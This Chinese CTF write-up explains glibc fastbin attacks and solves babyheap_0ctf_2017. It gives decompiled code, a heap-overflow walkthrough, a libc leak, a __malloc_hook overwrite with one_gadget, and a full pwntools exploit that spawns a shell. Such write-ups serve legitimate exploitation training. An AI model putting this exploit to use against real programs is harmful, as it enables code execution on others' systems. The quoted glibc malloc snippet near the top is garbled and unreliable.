FastBinAttack
fastbin Attack 是一类漏洞的利用方法,是所有基于 fastbin机制的漏洞方法。这类利用的前提是
- 存在堆溢出, Uaf等能够控制chunk 内容的漏洞
- 漏洞发生于 fastbin 类型的chunk 中
fastbin 存在的原因是fastbin 是使用单链表来维护释放堆块的,并且 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 也不会被清空, 由下面的代码可以看到 fastbin 是这样管理空闲 chunk的
if (__builtin_expect (old == p, 0)) malloc_printerr("double free or corruption")p->fd = PROTECT (&p->fd, old)*fb = p; } else do { /* Check that the top of the bin is not record we are going to add (i.e. double free)*/ if(__buildin_expect (old == p, 0)) malloc_printerr("double free or corruption") old2 = old; p->fd = PROTECT_PTR("double free or corruption(fasttop)") } ...House of spirit
House of spirit的主要原理是改写 free 状态的 fast chunk 的fd 指针,在下一次分配时拿到目标地址的读写权
- 释放一个 fast chunk,并且为了防止 Tcahce的干扰,所以可能需要绕过Tcahce
- fast chunk 被放进了 fastbin,假设此时改chunk为第一个被放进 bin 的chunk,那么ptmalloc为其fd赋值为0
- 利用漏洞 改写fd指针为目标地址
eg: __free_hook, - 申请一个被释放大小的堆块
对于 __malloc_hook 中常用的偏移
common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]
BABYHEAP_0CTF_2017 BUUCTF
将程序拖入 ida 中 发现如下代码,经过逆向分析,还原出如下重要函数
int menu(){ puts("1. Allocate"); puts("2. Fill"); puts("3. Free"); puts("4. Dump"); puts("5. Exit"); return printf("Command: ");}
void __fastcall allocate(__int64 a1) // 分配堆{ int n15; // [rsp+10h] [rbp-10h] int n4096; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h]
for ( n15 = 0; n15 <= 15; ++n15 ) { if ( !*(_DWORD *)(24LL * n15 + a1) ) { printf("Size: "); n4096 = input_int(); if ( n4096 > 0 ) { if ( n4096 > 4096 ) n4096 = 4096; v3 = calloc(n4096, 1u); if ( !v3 ) exit(-1); *(_DWORD *)(24LL * n15 + a1) = 1; *(_QWORD *)(a1 + 24LL * n15 + 8) = n4096; *(_QWORD *)(a1 + 24LL * n15 + 16) = v3; printf("Allocate Index %d\n", n15); } return; } }}
__int64 __fastcall fill(__int64 a1){ __int64 n0x10; // rax int n0x10_1; // [rsp+18h] [rbp-8h] int n0x10_2; // [rsp+1Ch] [rbp-4h]
printf("Index: "); n0x10 = input_int(); n0x10_1 = n0x10; if ( (unsigned int)n0x10 < 0x10 ) { n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1); if ( (_DWORD)n0x10 == 1 ) { printf("Size: "); n0x10 = input_int(); n0x10_2 = n0x10; if ( (int)n0x10 > 0 ) { printf("Content: "); return sub_11B2(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2); } } } return n0x10;}
__int64 __fastcall my_free(__int64 a1){ __int64 n0x10; // rax int n0x10_1; // [rsp+1Ch] [rbp-4h]
printf("Index: "); n0x10 = input_int(); n0x10_1 = n0x10; if ( (unsigned int)n0x10 < 0x10 ) { n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1); if ( (_DWORD)n0x10 == 1 ) { *(_DWORD *)(24LL * n0x10_1 + a1) = 0; *(_QWORD *)(24LL * n0x10_1 + a1 + 8) = 0; free(*(void **)(24LL * n0x10_1 + a1 + 16)); n0x10 = 24LL * n0x10_1 + a1; *(_QWORD *)(n0x10 + 16) = 0; } } return n0x10;}
int __fastcall dump(__int64 a1){ int n0x10; // eax int n0x10_1; // [rsp+1Ch] [rbp-4h]
printf("Index: "); n0x10 = input_int(); n0x10_1 = n0x10; if ( (unsigned int)n0x10 < 0x10 ) { n0x10 = *(_DWORD *)(24LL * n0x10 + a1); if ( n0x10 == 1 ) { puts("Content: "); sub_130F(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), *(_QWORD *)(24LL * n0x10_1 + a1 + 8)); return puts(s_); } } return n0x10;}这是一个典型的菜单堆
allocate通过分析可以发现 程序通过一个有限长的结构体列表来管理堆块,这个结构体的结构如下
struct db { QWORD is_use QWORD size QWORD ptr}程序会主动寻找首个 is_use 为空的结构体db 来分配堆块, 同时 可申请的堆块最大为 4096
-
my_free这里可以发现在free之后, 可以发现会将指针置为0,所以不能直接利用Uaf -
fill这里可以任意写堆块内容, 同时存在堆溢出漏洞 -
dump打印堆块内容
题解
由于在程序中不存在可以直接获得shell的函数 所以需要先泄露libc的地址, 因为这里不存在直接的Uaf,所以这里需要使用堆溢出伪造chunk 然后通过泄露 unsorted bins 的 bk 指针获取 libc 地址
所以首先泄露创建若干 fastbin 和一个unsortedbin 大小的 chunk
allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4
free(1)free(2)
fix_chunk = flat( { #0 8 10 18 0x18: p8(0x21) }, filler = b"\x00")
fill(3, fix_chunk)
fix_chunk = flat( { 0x18: p64(0x91) }, filler = b"\x00")
fill(3, fix_chunk)首先将 1,2 两个 chunk 释放, 然后通过 chunk0 进行堆溢出修改chunk1 的 fd
这里导致了 chunk2 -> chunk4
接下来只要继续申请就能够将 chunk4 申请到,此时实现了多个指针指向 chunk4
接下来是准备让 chunk4进入 unsorted bin 泄露 libc, 使得释放的chunk 进入 unsorted bin 存在如下条件
- 大小在
unsorted bin的范围内 - 不是
Top chunk
allocate(0x80)free(4)
libc_offset = 0x3c4b78
dump(2)p.recvline()leak_addr = u64(p.recv(8))log.success(f": {hex(leak_addr)}")libc.address = leak_addr - libc_offsetmalloc_hook = libc.sym["__malloc_hook"]
log.success(f"libc_base: {hex(libc.address)}")log.success(f"__malloc_hook: {hex(malloc_hook)}")泄露出 libc的地址之后 我们就可以劫持__malloc_hook修改为 one_gadget,来获取shell, 一般来说在 __malloc_hook - 0x23 地址存在一个 天然的伪chunk,可以刚好用来修改malloc 的值
one_gadget = libc.address + 0x4526a
# payload = p64(libc.address + 0x3c4aed)# common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]payload = p64(malloc_hook - 0x23)
fill(2, payload)allocate(0x60) # get fake_chunkallocate(0x60)
payload = flat( { 0x13: p64(one_gadget) }, filler = b"\x00")
fill(6, payload)allocate(0xff) # 执行 malloc hookp.interactive()exp
于是完成如下EXP
from pwn import *
file = "./babyheap_0ctf_2017_patched"libcf = "./libc-2.23.so"host = "127.0.0.1"port = 1234fix_chunk = flat( { #0 8 10 18 0x18: p8(0x21) }, filler = b"\x00")is_remote = False
context.log_level = "debug"context.binary = file
if is_remote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)libc = ELF(libcf)
def menu(index: int): global p
p.recvuntil(b"Command: ") p.sendline(str(index).encode())
def allocate(size: int): global p
menu(1)
p.recvuntil(b"Size: ") p.sendline(str(size).encode())
def fill(index: int, content: bytes): global p
menu(2)
size = len(content)
p.recvuntil(b"Index: ") p.sendline(str(index).encode())
p.recvuntil(b"Size: ") p.sendline(str(size).encode())
p.recvuntil(b"Content: ") p.send(content)
def free(index: int): global p menu(3)
p.recvuntil(b"Index: ") p.sendline(str(index).encode())
def dump(index: int): global p menu(4)
p.recvuntil(b"Index: ") p.sendline(str(index).encode())
allocate(0x10) # 0allocate(0x10) # 1allocate(0x10) # 2allocate(0x10) # 3allocate(0x80) # 4
free(1)free(2)
fake_chunks = flat( { # 0x0 0x8 0x10 0x18 0x20 0x28 0x30 0x18: p64(0x21), 0x38: p64(0x21), 0x40: p8(0x80) }, filler = b"\x00")
fill(0, fake_chunks)
fix_chunk = flat( { #0 8 10 18 0x18: p8(0x21) }, filler = b"\x00")fill(3, fix_chunk)
allocate(0x10)allocate(0x10)
fix_chunk = flat( { 0x18: p64(0x91) }, filler = b"\x00")
fill(3, fix_chunk)
allocate(0x80)free(4)
libc_offset = 0x3c4b78
dump(2)p.recvline()leak_addr = u64(p.recv(8))log.success(f": {hex(leak_addr)}")libc.address = leak_addr - libc_offsetmalloc_hook = libc.sym["__malloc_hook"]
log.success(f"libc_base: {hex(libc.address)}")log.success(f"__malloc_hook: {hex(malloc_hook)}")
one_gadget = libc.address + 0x4526a
allocate(0x60)free(4)
# payload = p64(libc.address + 0x3c4aed)# common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]payload = p64(malloc_hook - 0x23)
fill(2, payload)allocate(0x60) # get fake_chunkallocate(0x60)
payload = flat( { 0x13: p64(one_gadget) }, filler = b"\x00")
fill(6, payload)allocate(0xff) # 执行 malloc hookp.interactive()如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










